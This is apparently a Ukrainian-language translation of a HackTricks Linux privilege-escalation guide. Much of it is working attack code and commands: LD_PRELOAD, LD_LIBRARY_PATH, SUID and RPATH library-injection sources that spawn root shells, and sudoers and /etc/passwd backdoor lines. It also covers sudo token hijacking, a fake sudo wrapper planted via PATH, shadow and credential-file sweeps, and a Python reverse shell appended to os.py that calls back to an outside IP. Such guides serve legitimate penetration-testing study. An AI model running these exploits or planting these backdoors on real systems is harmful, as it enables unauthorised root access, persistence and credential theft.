Ескалація привілеїв може статися, якщо ви маєте можливість виконувати команди з sudo і вивід sudo -l містить рядок env_keep+=LD_PRELOAD. Така конфігурація дозволяє змінній оточення LD_PRELOAD зберігатися та розпізнаватися навіть коли команди виконуються через sudo, що потенційно може призвести до виконання довільного коду з підвищеними привілеями.

Defaults        env_keep += LD_PRELOAD

Зберегти як /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Потім скомпілюйте його за допомогою:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Нарешті, escalate privileges виконавши

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Подібний privesc може бути використаний, якщо attacker контролює LD_LIBRARY_PATH env variable, оскільки він контролює шлях, де будуть шукатися бібліотеки.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Коли натрапляєте на бінарник з правами SUID, що виглядає підозріло, корисно перевірити, чи він правильно завантажує файли .so. Це можна перевірити, виконавши наступну команду:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Наприклад, поява помилки на кшталт "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" вказує на потенційну можливість експлуатації.

Щоб експлуатувати це, потрібно створити C-файл, наприклад "/path/to/.config/libcalc.c", який містить наступний код:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом зміни прав доступу до файлів і виконання shell із підвищеними привілеями.

Скомпілюйте наведений вище C file у shared object (.so) файл за допомогою:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Нарешті, запуск ураженого SUID бінарного файлу повинен спровокувати exploit, що може призвести до компрометації системи.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Тепер, коли знайдено SUID binary, що завантажує library з папки, у яку ми маємо права запису, давайте створимо library у цій папці з необхідною назвою:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Якщо ви отримуєте помилку, наприклад

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

це означає, що згенерована вами бібліотека повинна містити функцію з назвою a_function_name.

GTFOBins

GTFOBins — це курований список Unix-байнів, які можуть бути використані нападником для обходу локальних обмежень безпеки. GTFOArgs — те саме, але для випадків, коли ви можете лише інжектувати аргументи в команду.

Проєкт збирає легітимні функції Unix-байнів, які можна зловживати для виходу з обмежених shells, підвищення або підтримки привілеїв, передачі файлів, створення bind та reverse shells і полегшення інших post-exploitation завдань.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{{#ref}} https://gtfobins.github.io/ {{#endref}}

{{#ref}} https://gtfoargs.github.io/ {{#endref}}

FallOfSudo

Якщо ви маєте доступ до sudo -l, ви можете використовувати інструмент FallOfSudo щоб перевірити, чи він знаходить спосіб експлуатації будь-якого правила sudo.

Reusing Sudo Tokens

У випадках, коли у вас є sudo access, але немає пароля, ви можете підняти привілеї, чекаючи виконання команди sudo і перехопивши session token.

Вимоги для підвищення привілеїв:

• Ви вже маєте shell як користувач "sampleuser"
• "sampleuser" використовував sudo для виконання чогось в останні 15 хвилин (за замовчуванням це тривалість sudo token, яка дозволяє використовувати sudo без введення пароля)
• cat /proc/sys/kernel/yama/ptrace_scope дорівнює 0
• gdb доступний (ви можете завантажити його)

(Ви можете тимчасово ввімкнути ptrace_scope за допомогою echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope або постійно змінивши /etc/sysctl.d/10-ptrace.conf і встановивши kernel.yama.ptrace_scope = 0)

Якщо всі ці вимоги виконані, ви можете підвищити привілеї, використовуючи: https://github.com/nongiach/sudo_inject

• Перший exploit (exploit.sh) створить бінар activate_sudo_token в /tmp. Ви можете використати його, щоб активувати sudo token у вашій сесії (ви не отримаєте автоматично root shell, виконайте sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• Другий експлойт (exploit_v2.sh) створить sh shell у /tmp що належить root та має setuid

bash exploit_v2.sh
/tmp/sh -p

• третій exploit (exploit_v3.sh) створить sudoers file, який робить sudo tokens вічними і дозволяє всім користувачам використовувати sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Якщо у вас є права на запис у папці або на будь-який зі створених у ній файлів, ви можете скористатися бінарним файлом write_sudo_token щоб створити sudo token для user та PID.
Наприклад, якщо ви можете перезаписати файл /var/run/sudo/ts/sampleuser і у вас є shell під тим user з PID 1234, ви можете отримати sudo привілеї без необхідності знати пароль, виконавши:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Файл /etc/sudoers та файли всередині /etc/sudoers.d налаштовують, хто може використовувати sudo і як. Ці файли за замовчуванням можуть читатися лише користувачем root та групою root.
Якщо ви можете прочитати цей файл, ви зможете отримати деяку цікаву інформацію, а якщо ви можете записати будь-який файл — ви зможете escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Якщо ви можете записувати, ви можете зловживати цим дозволом

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Ще один спосіб зловживати цими дозволами:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Існують альтернативи бінарному файлу sudo, такі як doas для OpenBSD; не забудьте перевірити його конфігурацію в /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Якщо ви знаєте, що користувач зазвичай підключається до машини і використовує sudo для підвищення привілеїв і ви отримали shell у контексті цього користувача, ви можете створити новий sudo executable, який виконає ваш код від імені root, а потім команду користувача. Потім змініть $PATH у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб при виконанні sudo користувачем запускався ваш sudo executable.

Зверніть увагу, що якщо користувач використовує інший shell (не bash), вам доведеться змінити інші файли, щоб додати новий шлях. Наприклад sudo-piggyback змінює ~/.bashrc, ~/.zshrc, ~/.bash_profile. Інший приклад можна знайти в bashdoor.py

Або запустивши щось на кшталт:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Спільна бібліотека

ld.so

Файл /etc/ld.so.conf вказує, звідки беруться файли конфігурації. Зазвичай цей файл містить такий рядок: include /etc/ld.so.conf.d/*.conf

Це означає, що будуть зчитані файли конфігурації з /etc/ld.so.conf.d/*.conf. Ці файли конфігурації вказують на інші папки, де будуть шукатися бібліотеки. Наприклад, вміст /etc/ld.so.conf.d/libc.conf — /usr/local/lib. Це означає, що система буде шукати бібліотеки всередині /usr/local/lib.

Якщо з якоїсь причини користувач має права на запис на будь-якому з вказаних шляхів: /etc/ld.so.conf, /etc/ld.so.conf.d/, будь-якому файлі в /etc/ld.so.conf.d/ або будь-якій теці, вказаній у файлах конфігурації /etc/ld.so.conf.d/*.conf, він може отримати підвищення привілеїв.
Ознайомтеся з тим, як експлуатувати цю неправильну конфігурацію на наступній сторінці:

{{#ref}} ld.so.conf-example.md {{#endref}}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Скопіювавши lib у /var/tmp/flag15/, програма використовуватиме її в цьому місці, як вказано у змінній RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Потім створіть зловмисну бібліотеку в /var/tmp за допомогою gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Можливості

Linux capabilities надають процесу підмножину доступних привілеїв root. Це фактично розбиває привілеї root на менші та відокремлені одиниці. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.
Прочитайте наступну сторінку, щоб дізнатися більше про capabilities та як ними зловживати:

{{#ref}} linux-capabilities.md {{#endref}}

Права доступу до директорії

У директорії біт для "execute" означає, що відповідний користувач може "cd" у папку.
Біт "read" означає, що користувач може list files, а біт "write" означає, що користувач може delete та create нові files.

ACLs

Access Control Lists (ACLs) представляють другий рівень дискреційних дозволів, здатний перевизначати традиційні ugo/rwx дозволи. Ці дозволи підвищують контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або не входять до групи. Такий рівень деталізації забезпечує більш точне управління доступом. Подальші деталі можна знайти here.

Надайте користувачу "kali" права читання та запису над файлом:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Отримати файли з певними ACLs із системи:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Відкриті shell сесії

У старих версіях ви можете hijack деяку shell сесію іншого користувача (root).
У новіших версіях ви зможете підключатися до screen sessions тільки свого власного користувача. Однак ви можете знайти цікаву інформацію всередині сесії.

screen sessions hijacking

Переглянути screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Приєднатися до сесії

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Це була проблема зі старими версіями tmux. Мені не вдалося перехопити сесію tmux (v2.1), створену root, будучи непривілейованим користувачем.

Список сесій tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Приєднатися до сесії

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Перегляньте Valentine box from HTB як приклад.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 і 13 травня 2008 року, можуть бути уражені цією помилкою.
Ця помилка виникає під час створення нового ssh key в цих ОС, оскільки існувало лише 32,768 варіацій. Це означає, що всі можливості можна перерахувати, і маючи ssh public key, ви можете знайти відповідний private key. Ви можете знайти обчислені варіанти тут: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

• PasswordAuthentication: Визначає, чи дозволена автентифікація паролем. За замовчуванням — no.
• PubkeyAuthentication: Визначає, чи дозволена автентифікація за допомогою публічного ключа. За замовчуванням — yes.
• PermitEmptyPasswords: Якщо автентифікація паролем дозволена, вказує, чи дозволяє сервер вхід у акаунти з порожніми рядками паролів. За замовчуванням — no.

PermitRootLogin

Визначає, чи може root увійти через ssh; за замовчуванням — no. Можливі значення:

• yes: root може увійти, використовуючи пароль та private key
• without-password or prohibit-password: root може увійти лише з private key
• forced-commands-only: root може увійти лише за допомогою private key і якщо вказані опції команд
• no : не дозволено

AuthorizedKeysFile

Визначає файли, що містять публічні ключі, які можна використовувати для автентифікації користувачів. Він може містити токени, такі як %h, які будуть замінені на домашній каталог. Ви можете вказувати абсолютні шляхи (починаються з /) або шляхи відносно домашнього каталогу користувача. Наприклад:

AuthorizedKeysFile    .ssh/authorized_keys access

Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою приватного ключа користувача "testusername", ssh порівняє публічний ключ вашого ключа з тими, що знаходяться в /home/testusername/.ssh/authorized_keys та /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding дозволяє вам використовувати ваші локальні SSH keys замість того, щоб залишати ключі (без парольних фраз!) на сервері. Таким чином ви зможете підключитися через ssh до одного хоста і звідти — до іншого, використовуючи ключ, що розташований на вашому початковому хості.

Потрібно встановити цю опцію в $HOME/.ssh.config ось так:

Host example.com
ForwardAgent yes

Зауважте, що якщо Host — *, кожного разу, коли користувач підключається до іншої машини, цей хост зможе отримати доступ до ключів (що є проблемою безпеки).

Файл /etc/ssh_config може перезаписати ці опції та дозволити або заборонити цю конфігурацію.
Файл /etc/sshd_config може дозволяти або забороняти ssh-agent forwarding за допомогою ключового слова AllowAgentForwarding (за замовчуванням — дозволено).

Якщо ви виявите, що Forward Agent налаштований у середовищі, прочитайте наступну сторінку, оскільки ви можете використати це для ескалації привілеїв:

{{#ref}} ssh-forward-agent-exploitation.md {{#endref}}

Цікаві файли

Файли профілів

Файл /etc/profile та файли в каталозі /etc/profile.d/ — це скрипти, які виконуються, коли користувач запускає новий shell. Отже, якщо ви можете записати або змінити будь-який із них, ви можете ескалювати привілеї.

ls -l /etc/profile /etc/profile.d/

Якщо знайдено будь-який підозрілий скрипт профілю, перевірте його на наявність чутливих деталей.

Passwd/Shadow Files

Залежно від ОС файли /etc/passwd та /etc/shadow можуть використовувати іншу назву або існувати їхні резервні копії. Тому рекомендовано знайти їх усі та перевірити, чи можна їх прочитати, щоб побачити чи містять hashes всередині файлів:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

У деяких випадках ви можете знайти password hashes у файлі /etc/passwd (або еквівалентному).

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

/etc/passwd доступний для запису

Спочатку згенеруйте пароль за допомогою однієї з наступних команд.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Потім додайте користувача hacker і встановіть згенерований пароль m9X#4qZt!pV1.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Наприклад: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Тепер ви можете використовувати команду su з hacker:hacker

Як альтернативу, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.
УВАГА: ви можете погіршити поточну безпеку машини.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

ПРИМІТКА: На платформах BSD /etc/passwd розташований у /etc/pwd.db та /etc/master.passwd, також /etc/shadow перейменовано на /etc/spwd.db.

Вам слід перевірити, чи можете ви записати в деякі чутливі файли. Наприклад, чи можете ви записати у будь-який файл конфігурації сервісу?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Наприклад, якщо на машині працює сервер tomcat і ви можете змінити файл конфігурації служби Tomcat всередині /etc/systemd/, то ви можете змінити рядки:

ExecStart=/path/to/backdoor
User=root
Group=root

Ваш backdoor буде виконаний наступного разу, коли tomcat буде запущено.

Перевірте папки

Наступні папки можуть містити резервні копії або цікаву інформацію: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Ймовірно, ви не зможете прочитати останню, але спробуйте)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Дивні розташування/Owned файли

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Змінені файли за останні хвилини

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB файли

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml файли

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Приховані файли

find / -type f -iname ".*" -ls 2>/dev/null

Скрипти/бінарні файли в PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Веб-файли

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Резервні копії

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Відомі файли, що містять паролі

Перегляньте код linPEAS, він шукає кілька можливих файлів, які можуть містити паролі.
Ще один цікавий інструмент, який ви можете використати для цього: LaZagne — це програма з відкритим кодом, що дозволяє отримувати велику кількість паролів, збережених на локальному комп'ютері для Windows, Linux & Mac.

Логи

Якщо ви можете читати логи, можливо, ви знайдете в них цікаву/конфіденційну інформацію. Чим дивніший лог, тим цікавішим він може бути (ймовірно).
Також деякі "bad" налаштовані (backdoored?) audit logs можуть дозволити вам записувати паролі всередині audit logs, як пояснюється в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/].

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Щоб читати логи, група adm буде дуже корисною.

Shell files

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Ви також повинні перевіряти файли, що містять слово "password" у своїй назві або в вмісті, а також шукати IPs та emails у logs, або hashes regexps.
Я не збираюся тут перелічувати, як усе це робити, але якщо вам цікаво, ви можете перевірити останні перевірки, які виконує linpeas.

Файли доступні для запису

Python library hijacking

Якщо ви знаєте звідки буде виконуватися python-скрипт і ви можете записувати в цю папку або можете модифікувати python libraries, ви можете змінити OS library і backdoor it (якщо ви можете писати туди, де буде виконуватися python-скрипт, скопіюйте й вставте бібліотеку os.py).

Щоб backdoor the library, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

Уразливість в logrotate дозволяє користувачам з правами на запис у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це тому, що logrotate, який часто працює як root, можна змусити виконувати довільні файли, особливо в директоріях на кшталт /etc/bash_completion.d/. Важливо перевіряти права не тільки в /var/log, але й у будь-яких директоріях, де застосовується ротація логів.

Tip

Ця вразливість стосується logrotate версії 3.18.0 та старіших

Більш детальну інформацію про вразливість можна знайти на цій сторінці: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Можна експлуатувати цю вразливість за допомогою logrotten.

Ця вразливість дуже схожа на CVE-2016-1247 (nginx logs), тож кожного разу, коли ви виявляєте, що можете змінювати логи, перевірте, хто ними керує, і чи можна підвищити привілеї, замінивши логи symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Якщо з будь-якої причини користувач може записати скрипт ifcf-<whatever> в /etc/sysconfig/network-scripts або може змінити існуючий, то ваша system is pwned.

Мережеві скрипти, ifcg-eth0 наприклад, використовуються для мережевих підключень. Вони виглядають точно як .INI файли. Однак вони sourced у Linux Network Manager (dispatcher.d).

У моєму випадку атрибут NAME= у цих мережевих скриптах обробляється неправильно. Якщо в NAME є пробіл/blank space, система намагається виконати частину після пробілу. Це означає, що все, що йде після першого пробілу, виконується як root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Зауважте порожній пробіл між Network та /bin/id)

init, init.d, systemd, та rc.d

The directory /etc/init.d is home to scripts for System V init (SysVinit), the classic Linux service management system. It includes scripts to start, stop, restart, and sometimes reload services. These can be executed directly or through symbolic links found in /etc/rc?.d/. An alternative path in Redhat systems is /etc/rc.d/init.d.

On the other hand, /etc/init is associated with Upstart, a newer service management introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart.

systemd emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into /usr/lib/systemd/ for distribution packages and /etc/systemd/system/ for administrator modifications, streamlining the system administration process.

Інші трюки

NFS Privilege escalation

{{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}}

Escaping from restricted Shells

{{#ref}} escaping-from-limited-bash.md {{#endref}}

Cisco - vmanage

{{#ref}} cisco-vmanage.md {{#endref}}

Android rooting frameworks: manager-channel abuse

Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here:

{{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}}

Kernel Security Protections

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Більше допомоги

Static impacket binaries

Linux/Unix Privesc Tools

Найкращий інструмент для пошуку Linux local privilege escalation векторів: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

References

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
• https://payatu.com/guide-linux-privilege-escalation/
• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
• https://touhidshaikh.com/blog/?p=827
• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
• https://github.com/frizb/Linux-Privilege-Escalation
• https://github.com/lucyoa/kernel-exploits
• https://github.com/rtcrowley/linux-private-i
• https://www.linux.com/news/what-socket/
• https://muzec0318.github.io/posts/PG/peppo.html
• https://www.linuxjournal.com/article/7744
• https://blog.certcube.com/suid-executables-linux-privilege-escalation/
• https://juggernaut-sec.com/sudo-part-2-lpe
• https://linuxconfig.org/how-to-manage-acls-on-linux
• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
• https://www.linode.com/docs/guides/what-is-systemd/

{{#include ../../banners/hacktricks-training.md}}